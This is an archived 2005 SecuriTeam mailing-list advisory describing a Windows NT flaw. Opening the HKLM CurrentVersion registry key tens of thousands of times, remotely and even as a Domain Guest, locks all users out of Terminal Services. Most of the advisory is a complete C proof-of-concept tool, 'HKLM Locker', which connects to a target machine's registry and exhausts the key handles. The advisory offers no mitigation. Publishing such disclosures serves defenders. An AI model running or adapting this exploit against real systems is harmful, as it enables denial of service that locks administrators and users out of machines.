

[NT] HKLM CurrentVersion Locking

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0127.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/27/05

To: list@securiteam.com

Date: 27 Jan 2005 14:58:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

HKLM CurrentVersion Locking

SUMMARY

If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too many times, roughly 2^{16} , from one process, even remotely, logged on as at least as Domain Guest, you are able to deny access to everyone through the terminal services including domain administrators, enterprise administrators, etc.

Locally, you are denying access to the users whose profiles are not yet created on particular machine, regardless of their privileges, because the profile cannot be created and request fails with "Insufficient resources" error.

DETAILS

Exploit:

```
#include <windows.h>
```

```
#include <stdio.h>
```

```
#include <conio.h>
```

```
#include <tchar.h>
```

```
#define MAX_KEYS 1048576
```

Securiteam: [NT] HKLM CurrentVersion Locking

```
void PrintLastErrorString(DWORD gla);

int _tmain(int argc, _TCHAR* argv[])
{
    int i = 0;
    int ixKey = 0;

    _ftprintf(stdout,
        _T("\n")
        _T(".. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic ..\n")
        _T("\n")
        _T("...: Usage ...:\n")
        _T(" HKLMLocker.exe [machine name or its IP address]\n")
        _T("\n")
        _T("...: Examples ...:\n")
        _T(" HKLMLocker.exe \\maindc.fabrikam.microsoft.com\n")
        _T(" HKLMLocker.exe 10.0.0.1\n")
        _T("\n")
        _T(" - if machine name is not supplied it'll run on local machine\n")
        _T(" - in the first step it locks specified target, then waits for
enter\n")
        _T(" - when you press enter, it will close the resources and free the
target\n")
        _T("\n\n")
    );

    HKEY hkMachine=HKEY_LOCAL_MACHINE;
    if(argc == 2) {
        HKEY hk=NULL;
        SetLastError(NO_ERROR);
        if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
            &hk)==ERROR_SUCCESS) {
            hkMachine=hk;
            _ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
                argv[1]);
        } else {
            _ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine %s\n"),
                argv[1]);
            PrintLastErrorString(GetLastError());
            return -1;
        }
    }
    _fputts(_T("\n"), stdout);

    HKEY* pkey;
    if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
        _ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
            sizeof(HKEY)*MAX_KEYS);
        goto L_end;
    }
}
```

Securiteam: [NT] HKLM CurrentVersion Locking

```
ixKey=0;
for(i=0; i < MAX_KEYS; i++) {
    LONG result;
    HKEY hk;

    result=RegOpenKeyEx(hkMachine,
        _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
        0,
        KEY_READ,
        &hk);
    if(result==ERROR_SUCCESS) {
        if(i%100==0)
            _ftprintf(stdout, _T("\rOpening key % -16u"), i);
        pkey[ixKey++]=hk;
    } else {
        PrintLastErrorString(GetLastError());
        _ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u (thats
OK for unpatched system :)"), i, ixKey);
        break;
    }
}

    _fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource
freeing\n"), stderr);
    getch();
    _fputts(_T("\n"), stdout);

    for(i=0; i < ixKey; i++) {
        if(i%100==0)
            _ftprintf(stdout, _T("\rFreeing key % -16u"), i);
        RegCloseKey(pkey[i]);
    }
    _ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);

    free(pkey);

L_end:
    if(hkMachine!=HKEY_LOCAL_MACHINE)
        RegCloseKey(hkMachine);

    _fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
    getch();

    return 0;
}

void PrintLastErrorString(DWORD gla)
{
    if(gla==NO_ERROR)
        return;
    PVOID pBuffer=NULL;
```

Securiteam: [NT] HKLM CurrentVersion Locking

```
if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
gla,
0,
(LPTSTR)&pbuffer,
65535/sizeof(TCHAR),
NULL)) {
    _ftprintf(stderr, _T("\nERROR: Failed to format message for
GetLastError() code %u (%#08x)\n"), gla, gla);
    return;
}
_ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"), gla,
gla, pbuffer);
LocalFree(pbuffer);
}
```

ADDITIONAL INFORMATION

The information has been provided by
<mailto:vladimir_kraljevic@yahoo.com> Vladimir Kraljevic.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.